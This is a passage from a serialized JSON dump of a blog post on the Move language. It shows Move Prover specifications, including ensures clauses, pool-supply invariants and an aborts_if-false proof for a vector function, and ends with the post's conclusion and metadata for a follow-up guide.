add_liquidity",{"type":24,"tag":271,"props":15806,"children":15807},{"style":288},[15808],{"type":29,"value":606},{"type":24,"tag":271,"props":15810,"children":15811},{"style":630},[15812],{"type":29,"value":15715},{"type":24,"tag":271,"props":15814,"children":15815},{"style":288},[15816],{"type":29,"value":158},{"type":24,"tag":271,"props":15818,"children":15819},{"style":630},[15820],{"type":29,"value":15732},{"type":24,"tag":271,"props":15822,"children":15823},{"style":288},[15824],{"type":29,"value":1155},{"type":24,"tag":271,"props":15826,"children":15827},{"class":273,"line":303},[15828,15833,15837,15842],{"type":24,"tag":271,"props":15829,"children":15830},{"style":598},[15831],{"type":29,"value":15832}," remove_liquidity",{"type":24,"tag":271,"props":15834,"children":15835},{"style":288},[15836],{"type":29,"value":606},{"type":24,"tag":271,"props":15838,"children":15839},{"style":630},[15840],{"type":29,"value":15841},"share",{"type":24,"tag":271,"props":15843,"children":15844},{"style":288},[15845],{"type":29,"value":694},{"type":24,"tag":271,"props":15847,"children":15848},{"class":273,"line":312},[15849],{"type":24,"tag":271,"props":15850,"children":15851},{"style":288},[15852],{"type":29,"value":13588},{"type":24,"tag":271,"props":15854,"children":15855},{"class":273,"line":321},[15856,15861,15865],{"type":24,"tag":271,"props":15857,"children":15858},{"style":630},[15859],{"type":29,"value":15860}," spec",{"type":24,"tag":271,"props":15862,"children":15863},{"style":630},[15864],{"type":29,"value":15706},{"type":24,"tag":271,"props":15866,"children":15867},{"style":288},[15868],{"type":29,"value":7145},{"type":24,"tag":271,"props":15870,"children":15871},{"class":273,"line":330},[15872,15877,15882,15886,15891],{"type":24,"tag":271,"props":15873,"children":15874},{"style":630},[15875],{"type":29,"value":15876}," pragma",{"type":24,"tag":271,"props":15878,"children":15879},{"style":630},[15880],{"type":29,"value":15881}," verify",{"type":24,"tag":271,"props":15883,"children":15884},{"style":624},[15885],{"type":29,"value":762},{"type":24,"tag":271,"props":15887,"children":15888},{"style":278},[15889],{"type":29,"value":15890},"false",{"type":24,"tag":271,"props":15892,"children":15893},{"style":288},[15894],{"type":29,"value":1069},{"type":24,"tag":271,"props":15896,"children":15897},{"class":273,"line":339},[15898,15903,15908,15913,15918],{"type":24,"tag":271,"props":15899,"children":15900},{"style":630},[15901],{"type":29,"value":15902}," ensures",{"type":24,"tag":271,"props":15904,"children":15905},{"style":630},[15906],{"type":29,"value":15907}," result_1",{"type":24,"tag":271,"props":15909,"children":15910},{"style":624},[15911],{"type":29,"value":15912}," \u003C=",{"type":24,"tag":271,"props":15914,"children":15915},{"style":630},[15916],{"type":29,"value":15917}," coin1_in",{"type":24,"tag":271,"props":15919,"children":15920},{"style":288},[15921],{"type":29,"value":1069},{"type":24,"tag":271,"props":15923,"children":15924},{"class":273,"line":347},[15925,15929,15934,15938,15943],{"type":24,"tag":271,"props":15926,"children":15927},{"style":630},[15928],{"type":29,"value":15902},{"type":24,"tag":271,"props":15930,"children":15931},{"style":630},[15932],{"type":29,"value":15933}," result_2",{"type":24,"tag":271,"props":15935,"children":15936},{"style":624},[15937],{"type":29,"value":15912},{"type":24,"tag":271,"props":15939,"children":15940},{"style":630},[15941],{"type":29,"value":15942}," coin2_in",{"type":24,"tag":271,"props":15944,"children":15945},{"style":288},[15946],{"type":29,"value":1069},{"type":24,"tag":271,"props":15948,"children":15949},{"class":273,"line":356},[15950],{"type":24,"tag":271,"props":15951,"children":15952},{"style":288},[15953],{"type":29,"value":13588},{"type":24,"tag":25,"props":15955,"children":15956},{},[15957],{"type":29,"value":15958},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":24,"tag":25,"props":15960,"children":15961},{},[15962,15964,15969],{"type":29,"value":15963},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":24,"tag":10648,"props":15965,"children":15966},{},[15967],{"type":29,"value":15968},"lot",{"type":29,"value":15970}," easier to reason about the protocol.",{"type":24,"tag":25,"props":15972,"children":15973},{},[15974],{"type":29,"value":15975},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":24,"tag":261,"props":15977,"children":15979},{"className":10718,"code":15978,"language":10717,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[15980],{"type":24,"tag":135,"props":15981,"children":15982},{"__ignoreMap":7},[15983,16000,16023],{"type":24,"tag":271,"props":15984,"children":15985},{"class":273,"line":274},[15986,15991,15996],{"type":24,"tag":271,"props":15987,"children":15988},{"style":630},[15989],{"type":29,"value":15990},"spec",{"type":24,"tag":271,"props":15992,"children":15993},{"style":3887},[15994],{"type":29,"value":15995}," PoolState",{"type":24,"tag":271,"props":15997,"children":15998},{"style":288},[15999],{"type":29,"value":7145},{"type":24,"tag":271,"props":16001,"children":16002},{"class":273,"line":284},[16003,16008,16013,16018],{"type":24,"tag":271,"props":16004,"children":16005},{"style":630},[16006],{"type":29,"value":16007}," invariant",{"type":24,"tag":271,"props":16009,"children":16010},{"style":630},[16011],{"type":29,"value":16012}," supply",{"type":24,"tag":271,"props":16014,"children":16015},{"style":624},[16016],{"type":29,"value":16017}," >=",{"type":24,"tag":271,"props":16019,"children":16020},{"style":288},[16021],{"type":29,"value":16022}," MINIMUM_LIQUIDITY;\n",{"type":24,"tag":271,"props":16024,"children":16025},{"class":273,"line":294},[16026],{"type":24,"tag":271,"props":16027,"children":16028},{"style":288},[16029],{"type":29,"value":1171},{"type":24,"tag":25,"props":16031,"children":16032},{},[16033,16035,16041,16043,16049],{"type":29,"value":16034},"Another useful pattern for the Move prover is ",{"type":24,"tag":135,"props":16036,"children":16038},{"className":16037},[],[16039],{"type":29,"value":16040},"aborts_if",{"type":29,"value":16042},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":24,"tag":135,"props":16044,"children":16046},{"className":16045},[],[16047],{"type":29,"value":16048},"aborts_if false",{"type":29,"value":41},{"type":24,"tag":25,"props":16051,"children":16052},{},[16053],{"type":29,"value":16054},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":24,"tag":261,"props":16056,"children":16058},{"className":10718,"code":16057,"language":10717,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[16059],{"type":24,"tag":135,"props":16060,"children":16061},{"__ignoreMap":7},[16062,16126,16168,16191,16236,16249,16261,16299,16322,16408,16416,16441,16449,16470,16490,16590,16598,16626,16634,16646,16670,16705,16712,16720,16727,16742,16758,16774,16818,16922],{"type":24,"tag":271,"props":16063,"children":16064},{"class":273,"line":274},[16065,16069,16074,16078,16083,16087,16092,16096,16100,16105,16109,16113,16117,16122],{"type":24,"tag":271,"props":16066,"children":16067},{"style":630},[16068],{"type":29,"value":14286},{"type":24,"tag":271,"props":16070,"children":16071},{"style":598},[16072],{"type":29,"value":16073}," multiply_vec_by_n_coins",{"type":24,"tag":271,"props":16075,"children":16076},{"style":288},[16077],{"type":29,"value":606},{"type":24,"tag":271,"props":16079,"children":16080},{"style":630},[16081],{"type":29,"value":16082},"input",{"type":24,"tag":271,"props":16084,"children":16085},{"style":624},[16086],{"type":29,"value":12210},{"type":24,"tag":271,"props":16088,"children":16089},{"style":630},[16090],{"type":29,"value":16091}," vector",{"type":24,"tag":271,"props":16093,"children":16094},{"style":288},[16095],{"type":29,"value":801},{"type":24,"tag":271,"props":16097,"children":16098},{"style":3887},[16099],{"type":29,"value":15757},{"type":24,"tag":271,"props":16101,"children":16102},{"style":288},[16103],{"type":29,"value":16104},">)",{"type":24,"tag":271,"props":16106,"children":16107},{"style":624},[16108],{"type":29,"value":12210},{"type":24,"tag":271,"props":16110,"children":16111},{"style":630},[16112],{"type":29,"value":16091},{"type":24,"tag":271,"props":16114,"children":16115},{"style":288},[16116],{"type":29,"value":801},{"type":24,"tag":271,"props":16118,"children":16119},{"style":3887},[16120],{"type":29,"value":16121},"u128",{"type":24,"tag":271,"props":16123,"children":16124},{"style":288},[16125],{"type":29,"value":14997},{"type":24,"tag":271,"props":16127,"children":16128},{"class":273,"line":284},[16129,16133,16138,16142,16146,16150,16155,16159,16163],{"type":24,"tag":271,"props":16130,"children":16131},{"style":278},[16132],{"type":29,"value":15790},{"type":24,"tag":271,"props":16134,"children":16135},{"style":630},[16136],{"type":29,"value":16137}," amounts_times_coins",{"type":24,"tag":271,"props":16139,"children":16140},{"style":624},[16141],{"type":29,"value":1712},{"type":24,"tag":271,"props":16143,"children":16144},{"style":288},[16145],{"type":29,"value":16091},{"type":24,"tag":271,"props":16147,"children":16148},{"style":624},[16149],{"type":29,"value":11207},{"type":24,"tag":271,"props":16151,"children":16152},{"style":630},[16153],{"type":29,"value":16154},"empty",{"type":24,"tag":271,"props":16156,"children":16157},{"style":288},[16158],{"type":29,"value":801},{"type":24,"tag":271,"props":16160,"children":16161},{"style":3887},[16162],{"type":29,"value":16121},{"type":24,"tag":271,"props":16164,"children":16165},{"style":288},[16166],{"type":29,"value":16167},">();\n",{"type":24,"tag":271,"props":16169,"children":16170},{"class":273,"line":294},[16171,16175,16179,16183,16187],{"type":24,"tag":271,"props":16172,"children":16173},{"style":278},[16174],{"type":29,"value":15790},{"type":24,"tag":271,"props":16176,"children":16177},{"style":630},[16178],{"type":29,"value":11125},{"type":24,"tag":271,"props":16180,"children":16181},{"style":624},[16182],{"type":29,"value":1712},{"type":24,"tag":271,"props":16184,"children":16185},{"style":477},[16186],{"type":29,"value":767},{"type":24,"tag":271,"props":16188,"children":16189},{"style":288},[16190],{"type":29,"value":1069},{"type":24,"tag":271,"props":16192,"children":16193},{"class":273,"line":303},[16194,16198,16203,16207,16211,16215,16220,16224,16228,16232],{"type":24,"tag":271,"props":16195,"children":16196},{"style":278},[16197],{"type":29,"value":15790},{"type":24,"tag":271,"props":16199,"children":16200},{"style":630},[16201],{"type":29,"value":16202}," n_coins",{"type":24,"tag":271,"props":16204,"children":16205},{"style":624},[16206],{"type":29,"value":1712},{"type":24,"tag":271,"props":16208,"children":16209},{"style":288},[16210],{"type":29,"value":16091},{"type":24,"tag":271,"props":16212,"children":16213},{"style":624},[16214],{"type":29,"value":11207},{"type":24,"tag":271,"props":16216,"children":16217},{"style":598},[16218],{"type":29,"value":16219},"length",{"type":24,"tag":271,"props":16221,"children":16222},{"style":288},[16223],{"type":29,"value":606},{"type":24,"tag":271,"props":16225,"children":16226},{"style":624},[16227],{"type":29,"value":1137},{"type":24,"tag":271,"props":16229,"children":16230},{"style":630},[16231],{"type":29,"value":16082},{"type":24,"tag":271,"props":16233,"children":16234},{"style":288},[16235],{"type":29,"value":1155},{"type":24,"tag":271,"props":16237,"children":16238},{"class":273,"line":312},[16239,16244],{"type":24,"tag":271,"props":16240,"children":16241},{"style":749},[16242],{"type":29,"value":16243}," while",{"type":24,"tag":271,"props":16245,"children":16246},{"style":288},[16247],{"type":29,"value":16248}," ({\n",{"type":24,"tag":271,"props":16250,"children":16251},{"class":273,"line":321},[16252,16257],{"type":24,"tag":271,"props":16253,"children":16254},{"style":630},[16255],{"type":29,"value":16256}," spec",{"type":24,"tag":271,"props":16258,"children":16259},{"style":288},[16260],{"type":29,"value":7145},{"type":24,"tag":271,"props":16262,"children":16263},{"class":273,"line":330},[16264,16269,16274,16278,16283,16287,16291,16295],{"type":24,"tag":271,"props":16265,"children":16266},{"style":630},[16267],{"type":29,"value":16268}," invariant",{"type":24,"tag":271,"props":16270,"children":16271},{"style":598},[16272],{"type":29,"value":16273}," len",{"type":24,"tag":271,"props":16275,"children":16276},{"style":288},[16277],{"type":29,"value":606},{"type":24,"tag":271,"props":16279,"children":16280},{"style":630},[16281],{"type":29,"value":16282},"amounts_times_coins",{"type":24,"tag":271,"props":16284,"children":16285},{"style":288},[16286],{"type":29,"value":8823},{"type":24,"tag":271,"props":16288,"children":16289},{"style":624},[16290],{"type":29,"value":5059},{"type":24,"tag":271,"props":16292,"children":16293},{"style":630},[16294],{"type":29,"value":11125},{"type":24,"tag":271,"props":16296,"children":16297},{"style":288},[16298],{"type":29,"value":1069},{"type":24,"tag":271,"props":16300,"children":16301},{"class":273,"line":339},[16302,16306,16310,16314,16318],{"type":24,"tag":271,"props":16303,"children":16304},{"style":630},[16305],{"type":29,"value":16268},{"type":24,"tag":271,"props":16307,"children":16308},{"style":630},[16309],{"type":29,"value":11125},{"type":24,"tag":271,"props":16311,"children":16312},{"style":624},[16313],{"type":29,"value":15912},{"type":24,"tag":271,"props":16315,"children":16316},{"style":630},[16317],{"type":29,"value":16202},{"type":24,"tag":271,"props":16319,"children":16320},{"style":288},[16321],{"type":29,"value":1069},{"type":24,"tag":271,"props":16323,"children":16324},{"class":273,"line":347},[16325,16329,16334,16338,16342,16346,16350,16354,16358,16362,16366,16371,16375,16379,16384,16388,16392,16396,16400,16404],{"type":24,"tag":271,"props":16326,"children":16327},{"style":630},[16328],{"type":29,"value":16268},{"type":24,"tag":271,"props":16330,"children":16331},{"style":630},[16332],{"type":29,"value":16333}," forall",{"type":24,"tag":271,"props":16335,"children":16336},{"style":630},[16337],{"type":29,"value":8380},{"type":24,"tag":271,"props":16339,"children":16340},{"style":278},[16341],{"type":29,"value":10778},{"type":24,"tag":271,"props":16343,"children":16344},{"style":477},[16345],{"type":29,"value":767},{"type":24,"tag":271,"props":16347,"children":16348},{"style":624},[16349],{"type":29,"value":10787},{"type":24,"tag":271,"props":16351,"children":16352},{"style":630},[16353],{"type":29,"value":11462},{"type":24,"tag":271,"props":16355,"children":16356},{"style":624},[16357],{"type":29,"value":12210},{"type":24,"tag":271,"props":16359,"children":16360},{"style":630},[16361],{"type":29,"value":16137},{"type":24,"tag":271,"props":16363,"children":16364},{"style":288},[16365],{"type":29,"value":4520},{"type":24,"tag":271,"props":16367,"children":16368},{"style":630},[16369],{"type":29,"value":16370},"j",{"type":24,"tag":271,"props":16372,"children":16373},{"style":288},[16374],{"type":29,"value":4530},{"type":24,"tag":271,"props":16376,"children":16377},{"style":624},[16378],{"type":29,"value":5059},{"type":24,"tag":271,"props":16380,"children":16381},{"style":630},[16382],{"type":29,"value":16383}," input",{"type":24,"tag":271,"props":16385,"children":16386},{"style":288},[16387],{"type":29,"value":4520},{"type":24,"tag":271,"props":16389,"children":16390},{"style":630},[16391],{"type":29,"value":16370},{"type":24,"tag":271,"props":16393,"children":16394},{"style":288},[16395],{"type":29,"value":4530},{"type":24,"tag":271,"props":16397,"children":16398},{"style":624},[16399],{"type":29,"value":627},{"type":24,"tag":271,"props":16401,"children":16402},{"style":630},[16403],{"type":29,"value":16202},{"type":24,"tag":271,"props":16405,"children":16406},{"style":288},[16407],{"type":29,"value":1069},{"type":24,"tag":271,"props":16409,"children":16410},{"class":273,"line":356},[16411],{"type":24,"tag":271,"props":16412,"children":16413},{"style":288},[16414],{"type":29,"value":16415}," };\n",{"type":24,"tag":271,"props":16417,"children":16418},{"class":273,"line":365},[16419,16424,16428,16433,16437],{"type":24,"tag":271,"props":16420,"children":16421},{"style":288},[16422],{"type":29,"value":16423}," (",{"type":24,"tag":271,"props":16425,"children":16426},{"style":630},[16427],{"type":29,"value":11462},{"type":24,"tag":271,"props":16429,"children":16430},{"style":624},[16431],{"type":29,"value":16432}," \u003C",{"type":24,"tag":271,"props":16434,"children":16435},{"style":630},[16436],{"type":29,"value":16202},{"type":24,"tag":271,"props":16438,"children":16439},{"style":288},[16440],{"type":29,"value":694},{"type":24,"tag":271,"props":16442,"children":16443},{"class":273,"line":374},[16444],{"type":24,"tag":271,"props":16445,"children":16446},{"style":288},[16447],{"type":29,"value":16448}," }) {\n",{"type":24,"tag":271,"props":16450,"children":16451},{"class":273,"line":384},[16452,16457,16461,16466],{"type":24,"tag":271,"props":16453,"children":16454},{"style":288},[16455],{"type":29,"value":16456}," vector",{"type":24,"tag":271,"props":16458,"children":16459},{"style":624},[16460],{"type":29,"value":11207},{"type":24,"tag":271,"props":16462,"children":16463},{"style":598},[16464],{"type":29,"value":16465},"push_back",{"type":24,"tag":271,"props":16467,"children":16468},{"style":288},[16469],{"type":29,"value":4028},{"type":24,"tag":271,"props":16471,"children":16472},{"class":273,"line":393},[16473,16478,16482,16486],{"type":24,"tag":271,"props":16474,"children":16475},{"style":624},[16476],{"type":29,"value":16477}," &",{"type":24,"tag":271,"props":16479,"children":16480},{"style":278},[16481],{"type":29,"value":11448},{"type":24,"tag":271,"props":16483,"children":16484},{"style":630},[16485],{"type":29,"value":16137},{"type":24,"tag":271,"props":16487,"children":16488},{"style":288},[16489],{"type":29,"value":638},{"type":24,"tag":271,"props":16491,"children":16492},{"class":273,"line":402},[16493,16498,16502,16507,16511,16516,16520,16524,16528,16533,16537,16542,16546,16551,16556,16561,16565,16569,16573,16578,16582,16586],{"type":24,"tag":271,"props":16494,"children":16495},{"style":288},[16496],{"type":29,"value":16497}," (",{"type":24,"tag":271,"props":16499,"children":16500},{"style":624},[16501],{"type":29,"value":627},{"type":24,"tag":271,"props":16503,"children":16504},{"style":288},[16505],{"type":29,"value":16506},"vector",{"type":24,"tag":271,"props":16508,"children":16509},{"style":624},[16510],{"type":29,"value":11207},{"type":24,"tag":271,"props":16512,"children":16513},{"style":598},[16514],{"type":29,"value":16515},"borrow",{"type":24,"tag":271,"props":16517,"children":16518},{"style":288},[16519],{"type":29,"value":606},{"type":24,"tag":271,"props":16521,"children":16522},{"style":624},[16523],{"type":29,"value":1137},{"type":24,"tag":271,"props":16525,"children":16526},{"style":630},[16527],{"type":29,"value":16082},{"type":24,"tag":271,"props":16529,"children":16530},{"style":288},[16531],{"type":29,"value":16532},", (",{"type":24,"tag":271,"props":16534,"children":16535},{"style":630},[16536],{"type":29,"value":11462},{"type":24,"tag":271,"props":16538,"children":16539},{"style":278},[16540],{"type":29,"value":16541}," as",{"type":24,"tag":271,"props":16543,"children":16544},{"style":3887},[16545],{"type":29,"value":13576},{"type":24,"tag":271,"props":16547,"children":16548},{"style":288},[16549],{"type":29,"value":16550},")) ",{"type":24,"tag":271,"props":16552,"children":16553},{"style":278},[16554],{"type":29,"value":16555},"as",{"type":24,"tag":271,"props":16557,"children":16558},{"style":3887},[16559],{"type":29,"value":16560}," u128",{"type":24,"tag":271,"props":16562,"children":16563},{"style":288},[16564],{"type":29,"value":8823},{"type":24,"tag":271,"props":16566,"children":16567},{"style":624},[16568],{"type":29,"value":627},{"type":24,"tag":271,"props":16570,"children":16571},{"style":288},[16572],{"type":29,"value":1357},{"type":24,"tag":271,"props":16574,"children":16575},{"style":630},[16576],{"type":29,"value":16577},"n_coins",{"type":24,"tag":271,"props":16579,"children":16580},{"style":278},[16581],{"type":29,"value":16541},{"type":24,"tag":271,"props":16583,"children":16584},{"style":3887},[16585],{"type":29,"value":16560},{"type":24,"tag":271,"props":16587,"children":16588},{"style":288},[16589],{"type":29,"value":694},{"type":24,"tag":271,"props":16591,"children":16592},{"class":273,"line":411},[16593],{"type":24,"tag":271,"props":16594,"children":16595},{"style":288},[16596],{"type":29,"value":16597}," );\n",{"type":24,"tag":271,"props":16599,"children":16600},{"class":273,"line":420},[16601,16606,16610,16614,16618,16622],{"type":24,"tag":271,"props":16602,"children":16603},{"style":630},[16604],{"type":29,"value":16605}," i",{"type":24,"tag":271,"props":16607,"children":16608},{"style":624},[16609],{"type":29,"value":1712},{"type":24,"tag":271,"props":16611,"children":16612},{"style":630},[16613],{"type":29,"value":11125},{"type":24,"tag":271,"props":16615,"children":16616},{"style":624},[16617],{"type":29,"value":4253},{"type":24,"tag":271,"props":16619,"children":16620},{"style":477},[16621],{"type":29,"value":824},{"type":24,"tag":271,"props":16623,"children":16624},{"style":288},[16625],{"type":29,"value":1069},{"type":24,"tag":271,"props":16627,"children":16628},{"class":273,"line":429},[16629],{"type":24,"tag":271,"props":16630,"children":16631},{"style":288},[16632],{"type":29,"value":16633}," };\n",{"type":24,"tag":271,"props":16635,"children":16636},{"class":273,"line":438},[16637,16642],{"type":24,"tag":271,"props":16638,"children":16639},{"style":630},[16640],{"type":29,"value":16641}," spec",{"type":24,"tag":271,"props":16643,"children":16644},{"style":288},[16645],{"type":29,"value":7145},{"type":24,"tag":271,"props":16647,"children":16648},{"class":273,"line":447},[16649,16654,16658,16662,16666],{"type":24,"tag":271,"props":16650,"children":16651},{"style":630},[16652],{"type":29,"value":16653}," assert",{"type":24,"tag":271,"props":16655,"children":16656},{"style":630},[16657],{"type":29,"value":11125},{"type":24,"tag":271,"props":16659,"children":16660},{"style":624},[16661],{"type":29,"value":1031},{"type":24,"tag":271,"props":16663,"children":16664},{"style":630},[16665],{"type":29,"value":16202},{"type":24,"tag":271,"props":16667,"children":16668},{"style":288},[16669],{"type":29,"value":1069},{"type":24,"tag":271,"props":16671,"children":16672},{"class":273,"line":455},[16673,16677,16681,16685,16689,16693,16697,16701],{"type":24,"tag":271,"props":16674,"children":16675},{"style":630},[16676],{"type":29,"value":16653},{"type":24,"tag":271,"props":16678,"children":16679},{"style":598},[16680],{"type":29,"value":16273},{"type":24,"tag":271,"props":16682,"children":16683},{"style":288},[16684],{"type":29,"value":606},{"type":24,"tag":271,"props":16686,"children":16687},{"style":630},[16688],{"type":29,"value":16082},{"type":24,"tag":271,"props":16690,"children":16691},{"style":288},[16692],{"type":29,"value":8823},{"type":24,"tag":271,"props":16694,"children":16695},{"style":624},[16696],{"type":29,"value":5059},{"type":24,"tag":271,"props":16698,"children":16699},{"style":630},[16700],{"type":29,"value":16202},{"type":24,"tag":271,"props":16702,"children":16703},{"style":288},[16704],{"type":29,"value":1069},{"type":24,"tag":271,"props":16706,"children":16707},{"class":273,"line":464},[16708],{"type":24,"tag":271,"props":16709,"children":16710},{"style":288},[16711],{"type":29,"value":16633},{"type":24,"tag":271,"props":16713,"children":16714},{"class":273,"line":473},[16715],{"type":24,"tag":271,"props":16716,"children":16717},{"style":630},[16718],{"type":29,"value":16719}," amounts_times_coins\n",{"type":24,"tag":271,"props":16721,"children":16722},{"class":273,"line":483},[16723],{"type":24,"tag":271,"props":16724,"children":16725},{"style":288},[16726],{"type":29,"value":13588},{"type":24,"tag":271,"props":16728,"children":16729},{"class":273,"line":491},[16730,16734,16738],{"type":24,"tag":271,"props":16731,"children":16732},{"style":630},[16733],{"type":29,"value":15860},{"type":24,"tag":271,"props":16735,"children":16736},{"style":630},[16737],{"type":29,"value":16073},{"type":24,"tag":271,"props":16739,"children":16740},{"style":288},[16741],{"type":29,"value":7145},{"type":24,"tag":271,"props":16743,"children":16744},{"class":273,"line":499},[16745,16749,16754],{"type":24,"tag":271,"props":16746,"children":16747},{"style":630},[16748],{"type":29,"value":15876},{"type":24,"tag":271,"props":16750,"children":16751},{"style":630},[16752],{"type":29,"value":16753}," opaque",{"type":24,"tag":271,"props":16755,"children":16756},{"style":288},[16757],{"type":29,"value":1069},{"type":24,"tag":271,"props":16759,"children":16760},{"class":273,"line":3188},[16761,16766,16770],{"type":24,"tag":271,"props":16762,"children":16763},{"style":630},[16764],{"type":29,"value":16765}," aborts_if",{"type":24,"tag":271,"props":16767,"children":16768},{"style":278},[16769],{"type":29,"value":1877},{"type":24,"tag":271,"props":16771,"children":16772},{"style":288},[16773],{"type":29,"value":1069},{"type":24,"tag":271,"props":16775,"children":16776},{"class":273,"line":3247},[16777,16781,16785,16789,16794,16798,16802,16806,16810,16814],{"type":24,"tag":271,"props":16778,"children":16779},{"style":630},[16780],{"type":29,"value":15902},{"type":24,"tag":271,"props":16782,"children":16783},{"style":598},[16784],{"type":29,"value":16273},{"type":24,"tag":271,"props":16786,"children":16787},{"style":288},[16788],{"type":29,"value":606},{"type":24,"tag":271,"props":16790,"children":16791},{"style":630},[16792],{"type":29,"value":16793},"result",{"type":24,"tag":271,"props":16795,"children":16796},{"style":288},[16797],{"type":29,"value":8823},{"type":24,"tag":271,"props":16799,"children":16800},{"style":624},[16801],{"type":29,"value":5059},{"type":24,"tag":271,"props":16803,"children":16804},{"style":598},[16805],{"type":29,"value":16273},{"type":24,"tag":271,"props":16807,"children":16808},{"style":288},[16809],{"type":29,"value":606},{"type":24,"tag":271,"props":16811,"children":16812},{"style":630},[16813],{"type":29,"value":16082},{"type":24,"tag":271,"props":16815,"children":16816},{"style":288},[16817],{"type":29,"value":1155},{"type":24,"tag":271,"props":16819,"children":16820},{"class":273,"line":3255},[16821,16825,16829,16833,16837,16841,16845,16849,16853,16857,16861,16865,16870,16874,16878,16882,16886,16890,16894,16898,16902,16906,16910,16914,16918],{"type":24,"tag":271,"props":16822,"children":16823},{"style":630},[16824],{"type":29,"value":15902},{"type":24,"tag":271,"props":16826,"children":16827},{"style":630},[16828],{"type":29,"value":16333},{"type":24,"tag":271,"props":16830,"children":16831},{"style":630},[16832],{"type":29,"value":8380},{"type":24,"tag":271,"props":16834,"children":16835},{"style":278},[16836],{"type":29,"value":10778},{"type":24,"tag":271,"props":16838,"children":16839},{"style":477},[16840],{"type":29,"value":767},{"type":24,"tag":271,"props":16842,"children":16843},{"style":624},[16844],{"type":29,"value":10787},{"type":24,"tag":271,"props":16846,"children":16847},{"style":598},[16848],{"type":29,"value":8335},{"type":24,"tag":271,"props":16850,"children":16851},{"style":288},[16852],{"type":29,"value":606},{"type":24,"tag":271,"props":16854,"children":16855},{"style":630},[16856],{"type":29,"value":16082},{"type":24,"tag":271,"props":16858,"children":16859},{"style":288},[16860],{"type":29,"value":2693},{"type":24,"tag":271,"props":16862,"children":16863},{"style":624},[16864],{"type":29,"value":12210},{"type":24,"tag":271,"props":16866,"children":16867},{"style":630},[16868],{"type":29,"value":16869}," result",{"type":24,"tag":271,"props":16871,"children":16872},{"style":288},[16873],{"type":29,"value":4520},{"type":24,"tag":271,"props":16875,"children":16876},{"style":630},[16877],{"type":29,"value":16370},{"type":24,"tag":271,"props":16879,"children":16880},{"style":288},[16881],{"type":29,"value":4530},{"type":24,"tag":271,"props":16883,"children":16884},{"style":624},[16885],{"type":29,"value":5059},{"type":24,"tag":271,"props":16887,"children":16888},{"style":630},[16889],{"type":29,"value":16383},{"type":24,"tag":271,"props":16891,"children":16892},{"style":288},[16893],{"type":29,"value":4520},{"type":24,"tag":271,"props":16895,"children":16896},{"style":630},[16897],{"type":29,"value":16370},{"type":24,"tag":271,"props":16899,"children":16900},{"style":288},[16901],{"type":29,"value":4530},{"type":24,"tag":271,"props":16903,"children":16904},{"style":624},[16905],{"type":29,"value":627},{"type":24,"tag":271,"props":16907,"children":16908},{"style":598},[16909],{"type":29,"value":16273},{"type":24,"tag":271,"props":16911,"children":16912},{"style":288},[16913],{"type":29,"value":606},{"type":24,"tag":271,"props":16915,"children":16916},{"style":630},[16917],{"type":29,"value":16082},{"type":24,"tag":271,"props":16919,"children":16920},{"style":288},[16921],{"type":29,"value":1155},{"type":24,"tag":271,"props":16923,"children":16924},{"class":273,"line":3263},[16925],{"type":24,"tag":271,"props":16926,"children":16927},{"style":288},[16928],{"type":29,"value":13588},{"type":24,"tag":62,"props":16930,"children":16931},{"id":13028},[16932],{"type":29,"value":13031},{"type":24,"tag":25,"props":16934,"children":16935},{},[16936],{"type":29,"value":16937},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":24,"tag":25,"props":16939,"children":16940},{},[16941],{"type":29,"value":16942},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":24,"tag":25,"props":16944,"children":16945},{},[16946,16948,16955],{"type":29,"value":16947},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":32,"props":16949,"children":16952},{"href":16950,"rel":16951},"https://twitter.com/notdeghost/",[36],[16953],{"type":29,"value":16954},"@notdeghost",{"type":29,"value":41},{"type":24,"tag":10562,"props":16957,"children":16958},{},[16959],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":16961},[16962,16963,16964],{"id":13476,"depth":284,"text":13479},{"id":15512,"depth":284,"text":15515},{"id":13028,"depth":284,"text":13031},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":16969,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16970,"description":16971,"author":13438,"image":16972,"date":16974,"isFeatured":16,"tags":16975,"onBlogPage":16,"body":16978,"_type":10599,"_id":21313,"_source":10601,"_file":21314,"_stem":21315,"_extension":10604},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and 